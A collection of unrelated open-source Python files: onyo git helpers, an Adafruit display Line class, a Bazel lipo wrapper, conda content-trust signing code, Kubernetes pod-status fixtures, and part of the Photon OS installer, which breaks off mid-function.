import subprocess import logging import os import sys import shlex import glob import yaml from git import Repo, exc logging.basicConfig() logger = logging.getLogger('onyo') def run_cmd(cmd, comment=""): if comment != "": run_process = subprocess.Popen(shlex.split(cmd) + [comment], stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True) else: run_process = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True) run_output, run_error = run_process.communicate() if (run_error != ""): logger.error(run_error) sys.exit(1) else: logger.debug(cmd + " " + comment) return run_output # checks if a given path is git-directory (needs to be main-level) def is_git_dir(directory): try: Repo(directory).git_dir return True except exc.InvalidGitRepositoryError: return False def get_git_root(path): # first checks if file is in git from current position try: git_repo = Repo(path, search_parent_directories=True) git_root = git_repo.git.rev_parse("--show-toplevel") if os.path.isdir(os.path.join(git_root, ".onyo")): return git_root else: raise exc.InvalidGitRepositoryError # otherwise checks if given file relative to $ONYO_REPOSITORY_DIR is in a # git repository except (exc.NoSuchPathError, exc.InvalidGitRepositoryError): onyo_path = os.environ.get('ONYO_REPOSITORY_DIR') if onyo_path is None: logger.error(path + " is no onyo repository.") sys.exit(1) elif not is_git_dir(onyo_path): logger.error(path + " is no onyo repository.") sys.exit(1) git_repo = Repo(os.path.join(path, onyo_path), search_parent_directories=True) git_root = git_repo.git.rev_parse("--show-toplevel") return git_root def get_full_filepath(git_directory, file): full_filepath = os.path.join(git_directory, file) if not os.path.exists(full_filepath): full_filepath = os.path.join(git_directory, os.getcwd()) full_filepath = os.path.join(full_filepath, file) if not os.path.exists(full_filepath): logger.error(file + " not found.") sys.exit(1) return full_filepath def get_editor(): editor = os.environ.get('EDITOR') if not editor: logger.info("$EDITOR is not set.") elif editor and run_cmd("which " + editor).rstrip("\n") == "": logger.warning(editor + " could not be found.") else: return editor # try using vi/nano as editor if run_cmd("which nano").rstrip("\n") != "": logger.info("nano is used as editor.") editor = 'nano' elif run_cmd("which vi").rstrip("\n") != "": logger.info("vi is used as editor.") editor = 'vi' # if no editor is set, and nano/vi both are not found. else: logger.error("No editor found.") sys.exit(1) return editor def edit_file(file, onyo_root): if not os.path.isfile(file): logger.error(file + " does not exist.") sys.exit(1) # create and edit a temporary file, and if that is valid replace original temp_file = os.path.join(onyo_root, os.path.join(".onyo/temp/", os.path.basename(file))) if not os.path.isfile(temp_file): run_cmd("cp \"" + file + "\" \"" + temp_file + "\"") # When temp-file exists, ask if to use it elif os.path.isfile(temp_file): while True: edit_temp = str(input("Temporary changes for " + file + " exist. Continue editing? (y/n)")) if edit_temp == 'y': break elif edit_temp == 'n': run_cmd("cp \"" + file + "\" \"" + temp_file + "\"") break further_editing = 'y' while further_editing == 'y': # do actual editing: os.system(get_editor() + " \"" + temp_file + "\"") # check syntax with open(temp_file, "r") as stream: try: yaml.safe_load(stream) run_cmd("mv \"" + temp_file + "\" \"" + file + "\"") return except yaml.YAMLError: logger.error(file + " is no legal yaml syntax.") while True: further_editing = str(input("Continue editing? (y/n)")) if further_editing == 'y': break elif further_editing == 'n': run_cmd("rm \"" + temp_file + "\"") logger.info("No changes made.") sys.exit(1) return def build_git_add_cmd(directory, file): return "git -C \"" + directory + "\" add \"" + file + "\"" def get_list_of_assets(repo_path): assets = [] for elem in glob.iglob(repo_path + '**/**', recursive=True): if os.path.isfile(elem): # when assets are in .gitignore, they should not be listed as such if run_cmd("git -C \"" + repo_path + "\" check-ignore --no-index \"" + elem + "\""): continue assets.append([os.path.relpath(elem, repo_path), os.path.basename(elem)]) return assets def prepare_directory(directory): if os.path.isdir(os.path.join(os.getcwd(), directory)): location = os.path.join(os.getcwd(), directory) elif os.environ.get('ONYO_REPOSITORY_DIR') is not None and os.path.isdir(os.path.join(os.environ.get('ONYO_REPOSITORY_DIR'), directory)) and os.path.isdir(os.path.join(get_git_root(directory), directory)): location = os.path.join(get_git_root(directory), directory) else: logger.error(directory + " does not exist.") sys.exit(1) return location
python
# The MIT License (MIT) # # Copyright (c) 2019 Limor Fried for Adafruit Industries # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. """ `line` ================================================================================ Various common shapes for use with displayio - Line shape! * Author(s): Melissa LeBlanc-Williams Implementation Notes -------------------- **Software and Dependencies:** * Adafruit CircuitPython firmware for the supported boards: https://github.com/adafruit/circuitpython/releases """ from adafruit_display_shapes.polygon import Polygon __version__ = "0.0.0-auto.0" __repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git" class Line(Polygon): # pylint: disable=too-many-arguments,invalid-name """A line. :param x0: The x-position of the first vertex. :param y0: The y-position of the first vertex. :param x1: The x-position of the second vertex. :param y1: The y-position of the second vertex. :param color: The color of the line. """ def __init__(self, x0, y0, x1, y1, color): super().__init__([(x0, y0), (x1, y1)], outline=color)
python
# Copyright 2020 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from build_bazel_rules_apple.tools.wrapper_common import execute def invoke_lipo(binary_path, binary_slices, output_path): """Wraps lipo with given arguments for inputs and outputs.""" cmd = ["xcrun", "lipo", binary_path] # Create a thin binary if there's only one needed slice, otherwise create a # universal binary if len(binary_slices) == 1: cmd.extend(["-thin", next(iter(binary_slices))]) else: for binary_slice in binary_slices: cmd.extend(["-extract", binary_slice]) cmd.extend(["-output", output_path]) _, stdout, stderr = execute.execute_and_filter_output(cmd, raise_on_failure=True) if stdout: print(stdout) if stderr: print(stderr) def find_archs_for_binaries(binary_list): """Queries lipo to identify binary archs from each of the binaries. Args: binary_list: A list of strings, each of which is the path to a binary whose architectures should be retrieved. Returns: A tuple containing two values: 1. A set containing the union of all architectures found in every binary. 2. A dictionary where each key is one of the elements in `binary_list` and the corresponding value is the set of architectures found in that binary. If there was an error invoking `lipo` or the output was something unexpected, `None` will be returned for both tuple elements. """ found_architectures = set() archs_by_binary = dict() for binary in binary_list: cmd = ["xcrun", "lipo", "-info", binary] _, stdout, stderr = execute.execute_and_filter_output(cmd, raise_on_failure=True) if stderr: print(stderr) if not stdout: print("Internal Error: Did not receive output from lipo for inputs: " + " ".join(cmd)) return (None, None) cut_output = stdout.split(":") if len(cut_output) < 3: print("Internal Error: Unexpected output from lipo, received: " + stdout) return (None, None) archs_found = cut_output[2].strip().split(" ") if not archs_found: print("Internal Error: Could not find architecture for binary: " + binary) return (None, None) archs_by_binary[binary] = set(archs_found) for arch_found in archs_found: found_architectures.add(arch_found) return (found_architectures, archs_by_binary)
python
# -*- coding: utf-8 -*- """ conda_content_trust.signing This module contains functions that sign data using ed25519 keys, via the pyca/cryptography library. Functions that perform OpenPGP-compliant (e.g. GPG) signing are provided instead in root_signing. Function Manifest for this Module: serialize_and_sign wrap_as_signable sign_signable """ # Python2 Compatibility from __future__ import absolute_import, division, print_function, unicode_literals # std libs import binascii import copy # for deepcopy import json # for json.dump # Dependency-provided libraries #import cryptography #import cryptography.exceptions #import cryptography.hazmat.primitives.asymmetric.ed25519 as ed25519 #import cryptography.hazmat.primitives.serialization as serialization #import cryptography.hazmat.primitives.hashes #import cryptography.hazmat.backends # conda-content-trust modules from .common import ( SUPPORTED_SERIALIZABLE_TYPES, canonserialize, load_metadata_from_file, write_metadata_to_file, PublicKey, PrivateKey, checkformat_string, checkformat_key, checkformat_hex_key, checkformat_signable, checkformat_signature, #is_hex_string, is_hex_signature, is_hex_key, #checkformat_natural_int, checkformat_expiration_distance, #checkformat_hex_key, checkformat_list_of_hex_keys, #checkformat_utc_isoformat, ) def serialize_and_sign(obj, private_key): """ Given a JSON-compatible object, does the following: - serializes the dictionary as utf-8-encoded JSON, lazy-canonicalized such that any dictionary keys in any dictionaries inside <dictionary> are sorted and indentation is used and set to 2 spaces (using json lib) - creates a signature over that serialized result using private_key - returns that signature as a hex string See comments in common.canonserialize() Arguments: obj: a JSON-compatible object -- see common.canonserialize() private_key: a conda_content_trust.common.PrivateKey object # TODO ✅: Consider taking the private key data as a hex string instead? # On the other hand, it's useful to support an object that could # obscure the key (or provide an interface to a hardware key). """ # Try converting to a JSON string. serialized = canonserialize(obj) signature_as_bytes = private_key.sign(serialized) signature_as_hexstr = binascii.hexlify(signature_as_bytes).decode('utf-8') return signature_as_hexstr def wrap_as_signable(obj): """ Given a JSON-serializable object (dictionary, list, string, numeric, etc.), returns a wrapped copy of that object: {'signatures': {}, 'signed': <deep copy of the given object>} Expects strict typing matches (not duck typing), for no good reason. (Trying JSON serialization repeatedly could be too time consuming.) TODO: ✅ Consider whether or not the copy can be shallow instead, for speed. Raises ❌TypeError if the given object is not a JSON-serializable type per SUPPORTED_SERIALIZABLE_TYPES """ if not type(obj) in SUPPORTED_SERIALIZABLE_TYPES: raise TypeError( 'wrap_dict_as_signable requires a JSON-serializable object, ' 'but the given argument is of type ' + str(type(obj)) + ', ' 'which is not supported by the json library functions.') # TODO: ✅ Later on, consider switching back to TUF-style # signatures-as-a-list. (Is there some reason it's saner?) # Going with my sense of what's best now, which is dicts instead. # It's simpler and it naturally avoids duplicates. We don't do it # this way in TUF, but we also don't depend on it being an ordered # list anyway, so a dictionary is probably better. return {'signatures': {}, 'signed': copy.deepcopy(obj)} def sign_signable(signable, private_key): """ Given a JSON-compatible signable dictionary (as produced by calling wrap_dict_as_signable with a JSON-compatible dictionary), calls serialize_and_sign on the enclosed dictionary at signable['signed'], producing a signature, and places the signature in signable['signatures'], in an entry indexed by the public key corresponding to the given private_key. Updates the given signable in place, returning nothing. Overwrites if there is already an existing signature by the given key. # TODO ✅: Take hex string keys for sign_signable and serialize_and_sign # instead of constructed PrivateKey objects? Add the comment # below if so: # # Unlike with lower-level functions, both signatures and public keys are # # always written as hex strings. Raises ❌TypeError if the given object is not a JSON-serializable type per SUPPORTED_SERIALIZABLE_TYPES """ # Argument checking checkformat_key(private_key) checkformat_signable(signable) # if not is_a_signable(signable): # raise TypeError( # 'Expected a signable dictionary; the given argument of type ' + # str(type(signable)) + ' failed the check.') # private_key = PrivateKey.from_hex(private_key_hex) signature_as_hexstr = serialize_and_sign(signable['signed'], private_key) public_key_as_hexstr = private_key.public_key().to_hex() # To fit a general format, we wrap it this way, instead of just using the # hexstring. This is because OpenPGP signatures that we use for root # signatures look similar and have a few extra fields beyond the signature # value itself. signature_dict = {'signature': signature_as_hexstr} checkformat_signature(signature_dict) # TODO: ✅⚠️ Log a warning in whatever conda's style is (or conda-build): # # if public_key_as_hexstr in signable['signatures']: # warn( # replace: log, 'warnings' module, print statement, whatever # 'Overwriting existing signature by the same key on given ' # 'signable. Public key: ' + public_key + '.') # Add signature in-place, in the usual signature format. signable['signatures'][public_key_as_hexstr] = signature_dict def sign_all_in_repodata(fname, private_key_hex): """ Given a repodata.json filename, reads the "packages" entries in that file, and produces a signature over each artifact, with the given key. The signatures are then placed in a "signatures" entry parallel to the "packages" entry in the json file. The file is overwritten. Arguments: fname: filename of a repodata.json file private_key_hex: a private ed25519 key value represented as a 64-char hex string """ checkformat_hex_key(private_key_hex) checkformat_string(fname) # TODO ✅⚠️: Consider filename validation. What does conda use for that? private = PrivateKey.from_hex(private_key_hex) public_hex = private.public_key().to_hex() # Loading the whole file at once instead of reading it as we go, because # it's less complex and this only needs to run repository-side. repodata = load_metadata_from_file(fname) # with open(fname, 'rb') as fobj: # repodata = json.load(fname) # TODO ✅: Consider more validation for the gross structure expected of # repodata.json if not 'packages' in repodata: raise ValueError('Expected a "packages" entry in given repodata file.') # Add an empty 'signatures' dict to repodata. # If it's already there for whatever reason, we replace it entirely. This # avoids leaving existing signatures that might not get replaced -- e.g. if # the artifact is not in the "packages" dict, but is in the "signatures" # dict for some reason. What comes out of this process will be limited to # what we sign in this function. repodata['signatures'] = {} for artifact_name, metadata in repodata['packages'].items(): # TODO ✅: Further consider the significance of the artifact name # itself not being part of the signed metadata. The info used # to generate the name (package name + version + build) is # part of the signed metadata, but the full name is not. # Keep in mind attacks that swap metadata among artifacts; # signatures would still read as correct in that circumstance. signature_hex = serialize_and_sign(metadata, private) # To fit a general format, we wrap it this way, instead of just using # the hexstring. This is because OpenPGP signatures that we use for # root signatures look similar and have a few extra fields beyond the # signature value itself. signature_dict = {'signature': signature_hex} checkformat_signature(signature_dict) repodata['signatures'][artifact_name] = {public_hex: signature_dict} # Repeat for the .conda packages in 'packages.conda'. for artifact_name, metadata in repodata.get('packages.conda', {}).items(): signature_hex = serialize_and_sign(metadata, private) repodata['signatures'][artifact_name] = { public_hex: {'signature': signature_hex}} # Note: takes >0.5s on a macbook for large files write_metadata_to_file(repodata, fname)
python
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/MIT Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from backend.resources.constants import ConditionStatus, PodConditionType, PodPhase # PodStatus Failed FailedStatusPodConfig = { 'status': { 'phase': PodPhase.PodFailed.value, 'conditions': [ { 'type': PodConditionType.PodInitialized.value, 'status': ConditionStatus.ConditionTrue.value, } ], } } # PodStatus Succeeded SucceededStatusPodConfig = { 'status': { 'phase': PodPhase.PodSucceeded.value, 'conditions': [ { 'type': PodConditionType.PodInitialized.value, 'status': ConditionStatus.ConditionTrue.value, } ], } } # PodStatus Running RunningStatusPodConfig = { 'status': { 'phase': PodPhase.PodRunning.value, 'conditions': [ { 'type': PodConditionType.PodInitialized.value, 'status': ConditionStatus.ConditionTrue.value, }, { 'type': PodConditionType.PodReady.value, 'status': ConditionStatus.ConditionTrue.value, }, ], } } # PodStatus Pending PendingStatusPodConfig = { 'status': { 'phase': PodPhase.PodPending.value, 'conditions': [ { 'type': PodConditionType.PodInitialized.value, 'status': ConditionStatus.ConditionFalse.value, } ], } } # PodStatus Terminating TerminatingStatusPodConfig = { 'metadata': { 'deletionTimestamp': '2021-01-01T10:00:00Z', }, 'status': { 'phase': PodPhase.PodRunning.value, }, } # PodStatus Unknown UnknownStatusPodConfig = { 'metadata': { 'deletionTimestamp': '2021-01-01T10:00:00Z', }, 'status': { 'phase': PodPhase.PodRunning.value, 'reason': 'NodeLost', }, } # PodStatus Completed CompletedStatusPodConfig = { 'status': { 'phase': PodPhase.PodSucceeded.value, 'containerStatuses': [ { 'state': { 'terminated': { 'reason': 'Completed', } } } ], } } # PodStatus CreateContainerError CreateContainerErrorStatusPodConfig = { 'status': { 'phase': PodPhase.PodPending.value, 'containerStatuses': [ { 'state': { 'waiting': { 'message': 'Error response from daemon: No command specified', 'reason': 'CreateContainerError', } } } ], } }
python
""" Photon installer """ # # Author: Mahmoud Bassiouny <[email protected]> import subprocess import os import re import shutil import signal import sys import glob import modules.commons import random import curses import stat import tempfile from logger import Logger from commandutils import CommandUtils from jsonwrapper import JsonWrapper from progressbar import ProgressBar from window import Window from actionresult import ActionResult from networkmanager import NetworkManager from enum import Enum class PartitionType(Enum): SWAP = 1 LINUX = 2 LVM = 3 ESP = 4 BIOS = 5 class Installer(object): """ Photon installer """ # List of allowed keys in kickstart config file. # Please keep ks_config.txt file updated. known_keys = { 'additional_files', 'additional_packages', 'additional_rpms_path', 'arch', 'autopartition', 'bootmode', 'disk', 'eject_cdrom', 'hostname', 'install_linux_esx', 'live', 'log_level', 'ostree', 'packages', 'packagelist_file', 'partition_type', 'partitions', 'network', 'password', 'postinstall', 'postinstallscripts', 'public_key', 'search_path', 'setup_grub_script', 'shadow_password', 'type', 'ui' } default_partitions = [{"mountpoint": "/", "size": 0, "filesystem": "ext4"}] def __init__(self, working_directory="/mnt/photon-root", rpm_path=os.path.dirname(__file__)+"/../stage/RPMS", log_path=os.path.dirname(__file__)+"/../stage/LOGS"): self.exiting = False self.interactive = False self.install_config = None self.rpm_path = rpm_path self.log_path = log_path self.logger = None self.cmd = None self.working_directory = working_directory if os.path.exists(self.working_directory) and os.path.isdir(self.working_directory) and working_directory == '/mnt/photon-root': shutil.rmtree(self.working_directory) if not os.path.exists(self.working_directory): os.mkdir(self.working_directory) self.photon_root = self.working_directory + "/photon-chroot" self.installer_path = os.path.dirname(os.path.abspath(__file__)) self.tdnf_conf_path = self.working_directory + "/tdnf.conf" self.tdnf_repo_path = self.working_directory + "/photon-local.repo" self.rpm_cache_dir = self.photon_root + '/cache/tdnf/photon-local/rpms' # used by tdnf.conf as cachedir=, tdnf will append the rest self.rpm_cache_dir_short = self.photon_root + '/cache/tdnf' self.setup_grub_command = os.path.dirname(__file__)+"/mk-setup-grub.sh" signal.signal(signal.SIGINT, self.exit_gracefully) self.lvs_to_detach = {'vgs': [], 'pvs': []} """ create, append and validate configuration date - install_config """ def configure(self, install_config, ui_config = None): # Initialize logger and cmd first if not install_config: # UI installation log_level = 'debug' console = False else: log_level = install_config.get('log_level', 'info') console = not install_config.get('ui', False) self.logger = Logger.get_logger(self.log_path, log_level, console) self.cmd = CommandUtils(self.logger) # run UI configurator iff install_config param is None if not install_config and ui_config: from iso_config import IsoConfig self.interactive = True config = IsoConfig() install_config = curses.wrapper(config.configure, ui_config) self._add_defaults(install_config) issue = self._check_install_config(install_config) if issue: self.logger.error(issue) raise Exception(issue) self.install_config = install_config def execute(self): if 'setup_grub_script' in self.install_config: self.setup_grub_command = self.install_config['setup_grub_script'] if self.install_config['ui']: curses.wrapper(self._install) else: self._install() def _add_defaults(self, install_config): """ Add default install_config settings if not specified """ # extend 'packages' by 'packagelist_file' and 'additional_packages' packages = [] if 'packagelist_file' in install_config: plf = install_config['packagelist_file'] if not plf.startswith('/'): plf = os.path.join(os.path.dirname(__file__), plf) json_wrapper_package_list = JsonWrapper(plf) package_list_json = json_wrapper_package_list.read() packages.extend(package_list_json["packages"]) if 'additional_packages' in install_config: packages.extend(install_config['additional_packages']) if 'packages' in install_config: install_config['packages'] = list(set(packages + install_config['packages'])) else: install_config['packages'] = packages # set arch to host's one if not defined arch = subprocess.check_output(['uname', '-m'], universal_newlines=True).rstrip('\n') if 'arch' not in install_config: install_config['arch'] = arch # 'bootmode' mode if 'bootmode' not in install_config: if "x86_64" in arch: install_config['bootmode'] = 'dualboot' else: install_config['bootmode'] = 'efi' # live means online system. When you create an image for # target system, live should be set to false. if 'live' not in install_config: install_config['live'] = 'loop' not in install_config['disk'] # default partition if 'partitions' not in install_config: install_config['partitions'] = Installer.default_partitions # define 'hostname' as 'photon-<RANDOM STRING>' if "hostname" not in install_config or install_config['hostname'] == "": install_config['hostname'] = 'photon-%12x' % random.randrange(16**12) # Set password if needed. # Installer uses 'shadow_password' and optionally 'password'/'age' # to set aging if present. See modules/m_updaterootpassword.py if 'shadow_password' not in install_config: if 'password' not in install_config: install_config['password'] = {'crypted': True, 'text': '*', 'age': -1} if install_config['password']['crypted']: install_config['shadow_password'] = install_config['password']['text'] else: install_config['shadow_password'] = CommandUtils.generate_password_hash(install_config['password']['text']) # Do not show UI progress by default if 'ui' not in install_config: install_config['ui'] = False # Log level if 'log_level' not in install_config: install_config['log_level'] = 'info' # Extend search_path by current dir and script dir if 'search_path' not in install_config: install_config['search_path'] = [] for dirname in [os.getcwd(), os.path.abspath(os.path.dirname(__file__))]: if dirname not in install_config['search_path']: install_config['search_path'].append(dirname) def _check_install_config(self, install_config): """ Sanity check of install_config before its execution. Return error string or None """ unknown_keys = install_config.keys() - Installer.known_keys if len(unknown_keys) > 0: return "Unknown install_config keys: " + ", ".join(unknown_keys) if not 'disk' in install_config: return "No disk configured" if 'install_linux_esx' not in install_config: install_config['install_linux_esx'] = False # Perform 2 checks here: # 1) Only one extensible partition is allowed per disk # 2) /boot can not be LVM # 3) / must present has_extensible = {} has_root = False default_disk = install_config['disk'] for partition in install_config['partitions']: disk = partition.get('disk', default_disk) if disk not in has_extensible: has_extensible[disk] = False size = partition['size'] if size == 0: if has_extensible[disk]: return "Disk {} has more than one extensible partition".format(disk) else: has_extensible[disk] = True if partition.get('mountpoint', '') == '/boot' and 'lvm' in partition: return "/boot on LVM is not supported" if partition.get('mountpoint', '') == '/': has_root = True if not has_root: return "There is no partition assigned to root '/'" if install_config['arch'] not in ["aarch64", 'x86_64']: return "Unsupported target architecture {}".format(install_config['arch']) # No BIOS for aarch64 if install_config['arch'] == 'aarch64' and install_config['bootmode'] in ['dualboot', 'bios']: return "Aarch64 targets do not support BIOS boot. Set 'bootmode' to 'efi'." if 'age' in install_config['password']: if install_config['password']['age'] < -1: return "Password age should be -1, 0 or positive" return None def _install(self, stdscreen=None): """ Install photon system and handle exception """ if self.install_config['ui']: # init the screen curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLUE) curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_WHITE) curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_GREEN) curses.init_pair(4, curses.COLOR_RED, curses.COLOR_WHITE) stdscreen.bkgd(' ', curses.color_pair(1)) maxy, maxx = stdscreen.getmaxyx() curses.curs_set(0) # initializing windows height = 10 width = 75 progress_padding = 5 progress_width = width - progress_padding starty = (maxy - height) // 2 startx = (maxx - width) // 2 self.window = Window(height, width, maxy, maxx, 'Installing Photon', False) self.progress_bar = ProgressBar(starty + 3, startx + progress_padding // 2, progress_width) self.window.show_window() self.progress_bar.initialize('Initializing installation...') self.progress_bar.show() try: self._unsafe_install() except Exception as inst: self.logger.exception(repr(inst)) self.exit_gracefully() # Congratulation screen if self.install_config['ui']: self.progress_bar.hide() self.window.addstr(0, 0, 'Congratulations, Photon has been installed in {0} secs.\n\n' 'Press any key to continue to boot...' .format(self.progress_bar.time_elapsed)) if self.interactive: self.window.content_window().getch() if self.install_config['live']: self._eject_cdrom() def _unsafe_install(self): """ Install photon system """ self._partition_disk() self._format_partitions() self._mount_partitions() if 'ostree' in self.install_config: from ostreeinstaller import OstreeInstaller ostree = OstreeInstaller(self) ostree.install() else: self._setup_install_repo() self._initialize_system() self._mount_special_folders() self._install_packages() self._install_additional_rpms() self._enable_network_in_chroot() self._setup_network() self._finalize_system() self._cleanup_install_repo() self._setup_grub() self._create_fstab() self._execute_modules(modules.commons.POST_INSTALL) self._disable_network_in_chroot() self._unmount_all() def exit_gracefully(self, signal1=None, frame1=None): """ This will be called if the installer interrupted by Ctrl+C, exception or other failures """ del signal1 del frame1 if not self.exiting and self.install_config: self.exiting = True if self.install_config['ui']: self.progress_bar.hide() self.window.addstr(0, 0, 'Oops, Installer got interrupted.\n\n' + 'Press any key to get to the bash...') self.window.content_window().getch() self._cleanup_install_repo() self._unmount_all() sys.exit(1) def _setup_network(self): if 'network' not in self.install_config: return # setup network config files in chroot nm = NetworkManager(self.install_config, self.photon_root) if not nm.setup_network(): self.logger.error("Failed to setup network!") self.exit_gracefully() # Configure network when in live mode (ISO) and when network is not # already configured (typically in KS flow). if ('live' in self.install_config and 'conf_files' not in self.install_config['network']): nm = NetworkManager(self.install_config) if not nm.setup_network(): self.logger.error("Failed to setup network in ISO system") self.exit_gracefully() nm.restart_networkd() def _unmount_all(self): """ Unmount partitions and special folders """ for d in ["/tmp", "/run", "/sys", "/dev/pts", "/dev", "/proc"]: if os.path.exists(self.photon_root + d): retval = self.cmd.run(['umount', '-l', self.photon_root + d]) if retval != 0: self.logger.error("Failed to unmount {}".format(d)) for partition in self.install_config['partitions'][::-1]: if self._get_partition_type(partition) in [PartitionType.BIOS, PartitionType.SWAP]: continue mountpoint = self.photon_root + partition["mountpoint"] if os.path.exists(mountpoint): retval = self.cmd.run(['umount', '-l', mountpoint]) if retval != 0: self.logger.error("Failed to unmount partition {}".format(mountpoint)) # need to call it twice, because of internal bind mounts if 'ostree' in self.install_config: if os.path.exists(self.photon_root): retval = self.cmd.run(['umount', '-R', self.photon_root]) retval = self.cmd.run(['umount', '-R', self.photon_root]) if retval != 0: self.logger.error("Failed to unmount disks in photon root") self.cmd.run(['sync']) if os.path.exists(self.photon_root): shutil.rmtree(self.photon_root) # Deactivate LVM VGs for vg in self.lvs_to_detach['vgs']: retval = self.cmd.run(["vgchange", "-v", "-an", vg]) if retval != 0: self.logger.error("Failed to deactivate LVM volume group: {}".format(vg)) disk = self.install_config['disk'] if 'loop' in disk: # Simulate partition hot remove to notify LVM for pv in self.lvs_to_detach['pvs']: retval = self.cmd.run(["dmsetup", "remove", pv]) if retval != 0: self.logger.error("Failed to detach LVM physical volume: {}".format(pv)) # Uninitialize device paritions mapping retval = self.cmd.run(['kpartx', '-d', disk]) if retval != 0: self.logger.error("Failed to unmap partitions of the disk image {}". format(disk)) return None def _bind_installer(self): """ Make the photon_root/installer directory if not exits The function finalize_system will access the file /installer/mk-finalize-system.sh after chroot to photon_root. Bind the /installer folder to self.photon_root/installer, so that after chroot to photon_root, the file can still be accessed as /installer/mk-finalize-system.sh. """ # Make the photon_root/installer directory if not exits if(self.cmd.run(['mkdir', '-p', os.path.join(self.photon_root, "installer")]) != 0 or self.cmd.run(['mount', '--bind', self.installer_path, os.path.join(self.photon_root, "installer")]) != 0): self.logger.error("Fail to bind installer") self.exit_gracefully() def _unbind_installer(self): # unmount the installer directory if os.path.exists(os.path.join(self.photon_root, "installer")): retval = self.cmd.run(['umount', os.path.join(self.photon_root, "installer")]) if retval != 0: self.logger.error("Fail to unbind the installer directory") # remove the installer directory retval = self.cmd.run(['rm', '-rf', os.path.join(self.photon_root, "installer")]) if retval != 0: self.logger.error("Fail to remove the installer directory") def _bind_repo_dir(self): """ Bind repo dir for tdnf installation """ if self.rpm_path.startswith("https://") or self.rpm_path.startswith("http://"): return if (self.cmd.run(['mkdir', '-p', self.rpm_cache_dir]) != 0 or self.cmd.run(['mount', '--bind', self.rpm_path, self.rpm_cache_dir]) != 0): self.logger.error("Fail to bind cache rpms") self.exit_gracefully() def _unbind_repo_dir(self): """ Unbind repo dir after installation """ if self.rpm_path.startswith("https://") or self.rpm_path.startswith("http://"): return if os.path.exists(self.rpm_cache_dir): if (self.cmd.run(['umount', self.rpm_cache_dir]) != 0 or self.cmd.run(['rm', '-rf', self.rpm_cache_dir]) != 0): self.logger.error("Fail to unbind cache rpms") def _get_partuuid(self, path): partuuid = subprocess.check_output(['blkid', '-s', 'PARTUUID', '-o', 'value', path], universal_newlines=True).rstrip('\n') # Backup way to get uuid/partuuid. Leave it here for later use. #if partuuidval == '': # sgdiskout = Utils.runshellcommand( # "sgdisk -i 2 {} ".format(disk_device)) # partuuidval = (re.findall(r'Partition unique GUID.*', # sgdiskout))[0].split(':')[1].strip(' ').lower() return partuuid def _get_uuid(self, path): return subprocess.check_output(['blkid', '-s', 'UUID', '-o', 'value', path], universal_newlines=True).rstrip('\n') def _create_fstab(self, fstab_path = None): """ update fstab """ if not fstab_path: fstab_path = os.path.join(self.photon_root, "etc/fstab") with open(fstab_path, "w") as fstab_file: fstab_file.write("#system\tmnt-pt\ttype\toptions\tdump\tfsck\n") for partition in self.install_config['partitions']: ptype = self._get_partition_type(partition) if ptype == PartitionType.BIOS: continue options = 'defaults' dump = 1 fsck = 2 if partition.get('mountpoint', '') == '/': options = options + ',barrier,noatime,noacl,data=ordered' fsck = 1 if ptype == PartitionType.SWAP: mountpoint = 'swap' dump = 0 fsck = 0 else: mountpoint = partition['mountpoint'] # Use PARTUUID/UUID instead of bare path. # Prefer PARTUUID over UUID as it is supported by kernel # and UUID only by initrd. path = partition['path'] mnt_src = None partuuid = self._get_partuuid(path) if partuuid != '': mnt_src = "PARTUUID={}".format(partuuid) else: uuid = self._get_uuid(path) if uuid != '': mnt_src = "UUID={}".format(uuid) if not mnt_src: raise RuntimeError("Cannot get PARTUUID/UUID of: {}".format(path)) fstab_file.write("{}\t{}\t{}\t{}\t{}\t{}\n".format( mnt_src, mountpoint, partition['filesystem'], options, dump, fsck )) # Add the cdrom entry fstab_file.write("/dev/cdrom\t/mnt/cdrom\tiso9660\tro,noauto\t0\t0\n") def _generate_partitions_param(self, reverse=False): """ Generate partition param for mount command """ if reverse: step = -1 else: step = 1 params = [] for partition in self.install_config['partitions'][::step]: if self._get_partition_type(partition) in [PartitionType.BIOS, PartitionType.SWAP]: continue params.extend(['--partitionmountpoint', partition["path"], partition["mountpoint"]]) return params def _mount_partitions(self): for partition in self.install_config['partitions'][::1]: if self._get_partition_type(partition) in [PartitionType.BIOS, PartitionType.SWAP]: continue mountpoint = self.photon_root + partition["mountpoint"] self.cmd.run(['mkdir', '-p', mountpoint]) retval = self.cmd.run(['mount', '-v', partition["path"], mountpoint]) 